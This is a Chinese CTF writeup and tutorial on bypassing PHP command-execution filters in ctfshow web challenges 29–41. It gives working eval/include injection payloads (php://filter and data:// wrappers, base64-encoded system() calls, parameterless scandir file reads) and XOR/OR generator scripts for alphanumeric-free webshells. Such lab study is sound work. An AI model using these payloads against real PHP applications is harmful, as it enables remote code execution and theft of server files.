本文主要记录作者在ctfshow上的做题writeup,以及总结各种题型的应对技巧

主要参考

信息收集

CTFHUBWeb技能树——信息泄露writeup

  • robot.txt

    robots.txt是一个纯文本文件,在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。

    在CTF中,robots.txt文件可能会泄露当前网站目录下存在的一些敏感文件,我们可以直接对其访问。

    CTFshow-Web入门-Web1-20 (信息收集完结篇)

  • PHPS文件泄露

    phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。

    因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。用户访问phps文件就能看到对应的php文件的源码。

    一般是网站下的 index.phps 文件

命令执行

输入验证绕过总结

短标签

我们最常见的 PHP 标签就是<?php ?>了,但是 PHP 中还有两种短标签,即<? ?><?= ?>

当关键字 “php” 被过滤了之后,此时我们便不能使用<?php ?>了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号;

  • <? ?>相当于对<?php ?>的替换。
  • <?= ?>相当于<?php echo ... ?>

例如:

1
<?='Hello World'?>    // 输出 "Hello World"

反引号

PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数:

1
<?php echo `ls /`;?>

同样,也可以使用短标签

1
<?= `ls /`?>

通配符绕过

通配符(例如 *?)是一种在命令行或编程中用来匹配多个文件或字符串的方式

可以利用通配符进行安全绕过或攻击,实现未授权访问或执行恶意操作,通常出现在文件名匹配、路径解析、正则表达式、网络过滤等场景中。当字母数字或者一些特殊的字符被过滤掉时,不能直接传入,就可以考虑用通配符进行绕过

  • 常见的通配符:

    • *:匹配任意数量的字符。

    • ?:匹配一个字符。

      例如,a?c 可以匹配 abca1c,但不会匹配 ac

    • [ ]:匹配指定范围内的字符。

      [abcd] 匹配abcd中任何一个字符

      [a-z] 表示范围a到z中任意一个字符

  • 例子:

    绕过对 flag 的过滤

    1
    2
    3
    4
    ?c=system('cat fl*.php');  
    ?c=system('cat f?ag.php');
    ?c=passthru('tac f*');
    ?c=eval($_GET[cmd]);&cmd=system("tac f*");
  • 注意通配符仅仅可以使用在系统命令上面(即系统命令行shell上的命令)

伪协议包含

伪协议并不涉及实际的网络通信,而是PHP提供的一种机制,用于在处理文件或数据流时使用特殊的方式来操作文件。伪协议允许开发者对文件内容进行额外的处理,如编码、过滤等。

  • php伪协议绕过:

  • 伪协议类型

    • php://filter:作用是对文件流进行过滤,它可以让你在读取文件的同时对内容进行处理,例如base64编码,从而绕过文件读取限制。常见的用途是用 php://filter读取服务器上的敏感文件(如 flag 文件、配置文件等),而无需直接访问文件。

    • data:// :可以将数据直接嵌入到文件流中,这意味着你可以将任意的数据(包括PHP代码)嵌入,并让PHP将它当作代码执行。攻击者可以通过 data://注入和执行恶意代码

      data伪协议可以使用base64加密执行的代码:

      这种格式告诉 PHP,接下来的数据是经过 Base64 编码的,因此 PHP 在处理数据之前会先进行 Base64 解码,之后再执行数据内容。

      1
      data://text/plain;base64,<base64-encoded-data>
  • 示例

    可以使用include函数结合伪协议 php://filter 来绕过关键字过滤并读取敏感文件,将想要读取的文件通过伪协议读取并以base64编码的形式显示。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 括号被过滤的情况下
    ?c=include"$_GET[a]"&a=php://filter/read=convert.base64-encode/resource=flag.php

    # 如果双引号也被过滤
    ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

    # 通过data伪协议直接执行代码
    ?c=data://text/plain,<?php system('tac f*');?>

    # 如果想要执行的代码被过滤,可以采用base64加密
    ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==

无参数文件读取

  1. 概念

    无参数文件读取指的是在代码执行过程中,不直接传递参数(如字符串、数字等显式的值)的方式,而是通过代码中的其他方式来读取文件内容。在CTF题目中,攻击者往往会遇到参数过滤或限制,不能直接传递文件名或路径作为函数的参数。这时,攻击者需要通过隐式地构造参数,绕过这些限制,完成文件读取。

    • 通常情况下,我们都是使用 "" 来直接读取文件

      1
      highlight_file('flag.php');

      在无参数的情况下,这种读取方法是不可取的

    • 为了绕过直接传递文件名的限制,我们需要利用 PHP 的其他函数来构造出文件名

  2. 应用场景:通常出现在文件包含漏洞的场景中。

    • 题目中可能会对传递的参数进行过滤,如禁用 '"/ 等字符。如果我们直接使用带有这些字符的文件路径,程序会拒绝执行。
  3. 一些无参数文件读取函数

    • scandir() :返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称。

      例如返回的输出可能如下:

      1
      2
      3
      4
      5
      6
      Array ( 
      [0] => .
      [1] => ..
      [2] => flag.php
      [3] => index.php
      )

      表明在当前目录下有两个文件 flag.phpindex.php,以及两个特殊的目录项 ...分别代表当前目录和父目录

    • localeconv() :返回一哥包含本地数字及货币格式信息的数组。(这个数组的第一项就是 .,这个 . 的用处很大)

    • current() 和 post():返回数组中的单元,默认取第一个值。

    • 数组移动操作

      • end() : 将内部指针指向数组中的最后一个元素,并输出
      • next() :将内部指针指向数组中的下一个元素,并输出
      • prev() :将内部指针指向数组中的上一个元素,并输出
      • reset() : 将内部指针指向数组中的第一个元素,并输出
      • each() : 返回当前元素的键名和键值,并将内部指针向前移动
      • pos():返回数组中当前元素的值
      • array_reverse():将数组逆序排列

无字母数字绕过

参考:

  1. 概念

    服务器限制了我们传入 shell 参数中的值不能存在字母和数字,但是并没有限制除了字母和数字以外的其他字符。所以我们可以将非字母数字的字符经过各种转换、运算,最后能构造出a-z0-9中的任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,比如 “assert”、“system”、“file_put_contents”、“call_user_func” 等危险函数然后动态执行实现绕过。

  2. 应用场景

    1
    2
    3
    4
    <?php
    if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
    eval($_GET['shell']);
    }
  3. 异或运算绕过

    在 PHP 中两个字符串异或之后,得到的还是一个字符串。如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行异或,从而得到我们想要的字符串。例如:?~ 进行异或得到的是字母 A 。基于这个原理我们可以构造无字母数字的webshell

    异或绕过脚本

    • 生成 xor_rce.txt 文档,其中包含了所有可见字符的异或构造结果

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      <?php

      /*author yu22x*/

      $myfile = fopen("xor_rce.txt", "w");
      $contents="";
      for ($i=0; $i < 256; $i++) {
      for ($j=0; $j <256 ; $j++) {

      if($i<16){
      $hex_i='0'.dechex($i);
      }
      else{
      $hex_i=dechex($i);
      }
      if($j<16){
      $hex_j='0'.dechex($j);
      }
      else{
      $hex_j=dechex($j);
      }
      $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
      if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
      echo "";
      }

      else{
      $a='%'.$hex_i;
      $b='%'.$hex_j;
      $c=(urldecode($a)^urldecode($b));
      if (ord($c)>=32&ord($c)<=126) {
      $contents=$contents.$c." ".$a." ".$b."\n";
      }
      }

      }
      }
      fwrite($myfile,$contents);
      fclose($myfile);

    • 接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      # -*- coding: utf-8 -*-

      # author yu22x

      import requests
      import urllib
      from sys import *
      import os
      def action(arg):
      s1=""
      s2=""
      for i in arg:
      f=open("xor_rce.txt","r")
      while True:
      t=f.readline()
      if t=="":
      break
      if t[0]==i:
      #print(i)
      s1+=t[2:5]
      s2+=t[6:9]
      break
      f.close()
      output="(\""+s1+"\"^\""+s2+"\")"
      return(output)

      while True:
      param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
      print(param)

      例如:构造 system('ls') 命令

      1
      2
      3
      [+] your functionsystem
      [+] your commandls
      ("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
  4. 或运算绕过

    • 生成或运算结果

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      <?php

      /* author yu22x */

      $myfile = fopen("or_rce.txt", "w");
      $contents="";
      for ($i=0; $i < 256; $i++) {
      for ($j=0; $j <256 ; $j++) {

      if($i<16){
      $hex_i='0'.dechex($i);
      }
      else{
      $hex_i=dechex($i);
      }
      if($j<16){
      $hex_j='0'.dechex($j);
      }
      else{
      $hex_j=dechex($j);
      }
      $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
      if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
      echo "";
      }

      else{
      $a='%'.$hex_i;
      $b='%'.$hex_j;
      $c=(urldecode($a)|urldecode($b));
      if (ord($c)>=32&ord($c)<=126) {
      $contents=$contents.$c." ".$a." ".$b."\n";
      }
      }

      }
      }
      fwrite($myfile,$contents);
      fclose($myfile);

    • 构造命令

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      # -*- coding: utf-8 -*-

      # author yu22x

      import requests
      import urllib
      from sys import *
      import os
      def action(arg):
      s1=""
      s2=""
      for i in arg:
      f=open("or_rce.txt","r")
      while True:
      t=f.readline()
      if t=="":
      break
      if t[0]==i:
      #print(i)
      s1+=t[2:5]
      s2+=t[6:9]
      break
      f.close()
      output="(\""+s1+"\"|\""+s2+"\")"
      return(output)

      while True:
      param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
      print(param)

web 29-

这部分的wp主要参考:

web 29

1
2
<?php
?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

关闭符的使用

正常情况下,我们应该使用下面的语句 :

1
?c=include"$_GET[a]";&a=php://filter/read=convert.base64-encode/resource=flag.php

但是因为源代码对分号进行了过滤,所以考虑使用php的 ?> 关闭符

?> 是 PHP 代码块的结束符,遇到它时,PHP 代码块被关闭,PHP 解析器会结束 PHP 代码执行,切换到 HTML 模式。因此,当你使用 ?> 时,PHP 会自动结束当前的代码块,不需要显式地使用分号 ;。即:当使用 ?> 来结束 PHP 代码块时,?> 前的那句代码会被执行,即使没有使用分号 ; 来明确结束这条语句,PHP 会自动认为该语句结束,切换到 HTML 或纯文本模式继续解析。

我们再看源代码,eval($c); 将参数c作为代码执行后,php代码闭合,后续的语句作为HTML或纯文本也不影响源代码业务逻辑。

使用伪协议将flag文件内容以base64加密的形式读取出来,得到以下内容:

1
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7Y2Q2Y2RmODEtNmQ1ZC00ZjdhLThkMzctODUzMzY4NTY4NWFkfSI7DQo=

找一个base64解码的网站进行解码,成功获取到flag

image-20240912151824567

web 33

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

增加了对双引号 " 的限制,include函数可以省略引号

1
?c=include$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

web 34

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

多过滤了冒号 :,直接用前面的payload即可

1
?c=include$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

web 35

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

增加了对 <= 的过滤

还是直接继续使用前面的payload即可

1
?c=include$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

web 36

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

添加了对数字的过滤

payload不变

1
?c=include$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

web 37

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

这道题的代码结构相比之前的产生了变化,如果参数c中没有flag,则使用 include() 函数来包含该参数,并且通过 echo $flag; 输出文件中的 $flag 变量值。

相比web 36,这里在源代码里面直接使用了include,所以我们传入的参数里面就可以不再使用include函数,直接使用伪协议即可。

php://filter/ 通常用于对文件内容进行处理(如编码、转换),因为这里对flag进行了过滤,而通配符绕过仅仅只能应用在系统命令上,php://filter 只能对明确的文件路径进行处理,即下面的绕过方法是不能成功的:

1
c=php://filter/read=convert.base64-encode/resource=fl*.php

所以这里考虑使用 data:// 协议,因为 data:// 协议可以直接包含任意数据并执行它,即如果数据是 PHP 代码,并且 includeeval 这类函数引用它,PHP 将解析并执行这些代码。

1
?c=data://text/palin,<?php system("tac f*");?>

web 38

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

相比上一题新增过滤了php、file,可以继续data://协议,但是因为过滤了php,使用base64加密一下

  • 方法1:使用base64加密

    data://协议中,我们可以直接嵌入并执行 Base64 编码后的 PHP 代码,来绕过对php字段的过滤,这里我们将 <?php system("tac f*"); ?> 命令进行base64编码成 PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

    1
    ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==
  • 方法2:短标签

    <?= ?> 是 PHP 的短标签,等同于 <?php echo ?>。它会输出 system() 函数的结果,类似于 <?php echo system("tac f*"); ?>

    1
    ?c=data://text/palin,<?=system("tac f*");?>

web 39

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

include($c.".php") 会在用户传递的 $c 参数尾部拼接一个 .php ,构成文件路径进行包含,意味着我们只能包含 .php 文件。

这里我们可以直接使用data://伪协议:

1
?c=data://text/plain,<?php system('tac f*');?>

在后端运行的时候,因为前面的php语句已经闭合,所以后面的 .php 会被当成html页面直接显示在页面上。在伪协议中嵌入的 PHP 代码 <?php system('tac f*');?> 会被直接解析和执行,因此可以无视 .php 后缀,相当于运行了:

1
<?php system('cat f*');?>.php

注意这里并不能使用base64加密命令的方法,因为在后面拼接的 .php 会导致解析路径混乱,从而解析失败。

web 40

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这道题目通过正则表达式过滤了大量特殊字符和数字,注意正则中的括号为中文括号。

这里可以构造无参数函数进行文件读取

1
?c=print_r(scandir(pos(localeconv())));

这里 pos(localeconv()) 得到点号,因为 scandir(’.’) 表示得到当前目录下的文件,所以scandir(pos(localeconv())) 就能得到flag.php了。

访问后返回如下:

image-20241012151252771

表明在当前目录下有两个文件 flag.phpindex.php,接下来我们想要访问 flag.php 文件,即这个数组的倒数第二个元素,直接将数组逆序在将指针调整到下一个就好了。

1
?c=print_r(next(array_reverse(scandir(pos(localeconv())))));

访问,可以看到成功获取到了 flag.php 元素

image-20241012152437000

接下来就需要读取这个文件的内容,构造参数后访问成功得到flag

1
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web 41

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

相比之前的题目,传参变成了post,字母数字全被过滤,为无字母数字绕过类型。

eval("echo($c);"); 中:eval 会把 "echo($c);" 作为 PHP 代码来执行,$c 中的代码执行后,echo 会把返回的内容显示在页面上。

注意到这里没有对”或运算“进行过滤,考虑:或运算绕过